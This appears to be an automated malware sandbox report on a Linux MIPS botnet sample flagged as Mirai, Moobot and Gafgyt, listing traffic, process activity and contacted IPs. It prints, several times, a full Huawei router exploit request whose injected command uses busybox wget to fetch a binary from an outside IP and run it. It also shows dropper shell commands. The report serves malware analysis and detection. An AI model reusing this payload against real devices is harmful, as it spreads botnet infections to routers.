70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 54.134.165.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.254.115.250
Source: unknown TCP traffic detected without corresponding DNS query: 41.170.162.96
Source: unknown TCP traffic detected without corresponding DNS query: 41.166.16.10
Source: unknown TCP traffic detected without corresponding DNS query: 197.107.9.134
Source: unknown TCP traffic detected without corresponding DNS query: 157.32.148.201
Source: unknown TCP traffic detected without corresponding DNS query: 41.178.9.75
Source: unknown TCP traffic detected without corresponding DNS query: 41.34.158.157
Source: unknown TCP traffic detected without corresponding DNS query: 197.106.57.232
Source: unknown TCP traffic detected without corresponding DNS query: 157.232.100.171
Source: unknown TCP traffic detected without corresponding DNS query: 197.203.30.151
Source: unknown TCP traffic detected without corresponding DNS query: 157.156.3.203
Source: unknown TCP traffic detected without corresponding DNS query: 27.233.42.33
Source: unknown TCP traffic detected without corresponding DNS query: 197.101.95.145
Source: unknown TCP traffic detected without corresponding DNS query: 157.242.17.129
Source: unknown TCP traffic detected without corresponding DNS query: 41.36.237.157
Source: unknown TCP traffic detected without corresponding DNS query: 41.250.155.229
Source: unknown TCP traffic detected without corresponding DNS query: 157.49.109.56
Source: unknown TCP traffic detected without corresponding DNS query: 157.44.109.50
Source: unknown TCP traffic detected without corresponding DNS query: 41.166.175.84
Source: unknown TCP traffic detected without corresponding DNS query: 197.197.193.126
Source: unknown TCP traffic detected without corresponding DNS query: 197.107.138.203
Source: unknown TCP traffic detected without corresponding DNS query: 197.146.104.254
Source: unknown TCP traffic detected without corresponding DNS query: 192.249.108.179
Source: unknown TCP traffic detected without corresponding DNS query: 157.245.51.226
Source: unknown TCP traffic detected without corresponding DNS query: 41.83.159.7
Source: unknown TCP traffic detected without corresponding DNS query: 197.8.67.166
Source: unknown TCP traffic detected without corresponding DNS query: 197.184.27.146
Source: unknown TCP traffic detected without corresponding DNS query: 197.199.223.14
Source: unknown TCP traffic detected without corresponding DNS query: 41.39.108.89
Source: unknown TCP traffic detected without corresponding DNS query: 197.71.2.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.107.179.6
Source: unknown TCP traffic detected without corresponding DNS query: 89.178.40.44
Source: unknown TCP traffic detected without corresponding DNS query: 157.155.222.138
Source: unknown TCP traffic detected without corresponding DNS query: 197.100.131.123
Source: unknown TCP traffic detected without corresponding DNS query: 119.74.171.97
Source: unknown TCP traffic detected without corresponding DNS query: 144.113.192.15
Source: unknown TCP traffic detected without corresponding DNS query: 157.65.94.47
Source: unknown TCP traffic detected without corresponding DNS query: 31.109.180.222
Source: unknown TCP traffic detected without corresponding DNS query: 41.244.140.6
Source: unknown TCP traffic detected without corresponding DNS query: 157.216.3.85
Source: unknown TCP traffic detected without corresponding DNS query: 197.62.217.138
Source: unknown TCP traffic detected without corresponding DNS query: 157.169.120.73
Source: unknown TCP traffic detected without corresponding DNS query: 8.81.35.171
Source: unknown TCP traffic detected without corresponding DNS query: 197.160.88.131
Source: unknown TCP traffic detected without corresponding DNS query: 157.242.118.254
Source: unknown TCP traffic detected without corresponding DNS query: 197.199.33.234
Source: unknown TCP traffic detected without corresponding DNS query: 197.79.11.2
Source: unknown TCP traffic detected without corresponding DNS query: 197.174.229.247
Source: unknown TCP traffic detected without corresponding DNS query: 197.193.62.108
Source: mbl5k2b7z8.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mbl5k2b7z8.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: test.zxyes.xyz

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: mbl5k2b7z8.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: mbl5k2b7z8.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f
Source: classification engine Classification label: mal96.troj.linELF@0/0@1/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6238) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/busybox Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6236) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6238) Chmod executable: /usr/bin/chmod -> chmod 777 bin/busybox Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1582/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/3088/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/230/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/231/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/232/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1579/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/233/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1699/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/113/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/234/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1335/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1698/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/114/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/235/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1334/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1576/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/2302/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/115/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/236/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/116/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/237/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/117/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/118/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/910/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/119/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/912/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/10/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/2307/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/5815/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/11/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/918/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/12/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/13/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/6243/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/14/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/15/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/6245/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/16/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/17/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/18/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1594/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/120/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/121/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1349/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/122/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/243/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/123/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/124/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/125/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/126/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1344/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1465/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1586/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/127/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/6/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/248/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/128/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/249/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1463/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/9/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/801/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/20/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/21/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1900/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/22/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/23/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/24/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/25/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/26/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/27/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/28/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/29/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/491/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/250/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/130/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/251/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/252/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/132/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/253/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/254/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/255/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/256/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1599/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/257/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/379/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/258/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1476/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/259/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1475/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/936/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/30/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/2208/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/35/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1809/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/1494/cmdline Jump to behavior
Source: /tmp/mbl5k2b7z8.elf (PID: 6241) File opened: /proc/260/cmdline Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 6238) File: /tmp/bin/busybox (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mbl5k2b7z8.elf (PID: 6233) Shell command executed: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/mbl5k2b7z8.elf bin/busybox; chmod 777 bin/busybox" Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6235) Rm executable: /usr/bin/rm -> rm -rf bin/busybox Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33478 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 33478
Source: unknown Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 44838 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52512 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 46706 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 52512
Source: unknown Network traffic detected: HTTP traffic on port 56602 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 56602
Source: unknown Network traffic detected: HTTP traffic on port 44448 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 58890 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mbl5k2b7z8.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: mbl5k2b7z8.elf, 6231.1.0000560f2b174000.0000560f2b1fb000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mbl5k2b7z8.elf, 6231.1.0000560f2b174000.0000560f2b1fb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mbl5k2b7z8.elf, 6231.1.00007ffc335aa000.00007ffc335cb000.rw-.sdmp Binary or memory string: Rx86_64/usr/bin/qemu-mips/tmp/mbl5k2b7z8.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mbl5k2b7z8.elf
Source: mbl5k2b7z8.elf, 6231.1.00007ffc335aa000.00007ffc335cb000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: mbl5k2b7z8.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007f8304400000.00007f8304414000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mbl5k2b7z8.elf PID: 6231, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
157.155.206.222
 unknown Australia
17983 COLESMYER-AS-APColesMyerAU false
197.91.42.245
 unknown South Africa
10474 OPTINETZA false
27.236.72.206
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
41.134.200.128
 unknown South Africa
10474 OPTINETZA false
197.179.205.76
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
197.165.32.49
 unknown Egypt
24863 LINKdotNET-ASEG false
12.198.103.37
 unknown United States
7018 ATT-INTERNET4US false
150.247.95.86
 unknown United States
2527 SO-NETSo-netEntertainmentCorporationJP false
41.51.182.15
 unknown South Africa
37168 CELL-CZA false
157.33.200.173
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
41.72.45.47
 unknown Angola
37155 NETONEAO false
157.59.194.195
 unknown United States
3598 MICROSOFT-CORP-ASUS false
197.27.94.108
 unknown Tunisia
37492 ORANGE-TN false
197.40.144.189
 unknown Egypt
8452 TE-ASTE-ASEG false
197.120.132.150
 unknown Egypt
36992 ETISALAT-MISREG false
197.58.18.255
 unknown Egypt
8452 TE-ASTE-ASEG false
212.97.40.105
 unknown Italy
5602 AS-IRIDEOS-KPIT false
161.135.249.204
 unknown United States
7726 FITC-ASUS false
60.52.117.189
 unknown Malaysia
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
134.105.51.121
 unknown Germany
42873 MPG-FR-SFreiburgStrafrechtDE false
41.210.203.25
 unknown Angola
37081 movicel-asAO false
157.117.145.231
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
41.195.197.57
 unknown South Africa
16637 MTNNS-ASZA false
41.24.86.1
 unknown South Africa
36994 Vodacom-VBZA false
197.57.40.27
 unknown Egypt
8452 TE-ASTE-ASEG false
157.252.195.39
 unknown United States
3592 TRINCOLL-ASUS false
75.180.90.80
 unknown United States
10796 TWC-10796-MIDWESTUS false
41.190.129.200
 unknown Mauritius
36997 INFOCOM-UG false
157.168.229.19
 unknown Switzerland
22192 SSHENETUS false
197.90.198.169
 unknown South Africa
10474 OPTINETZA false
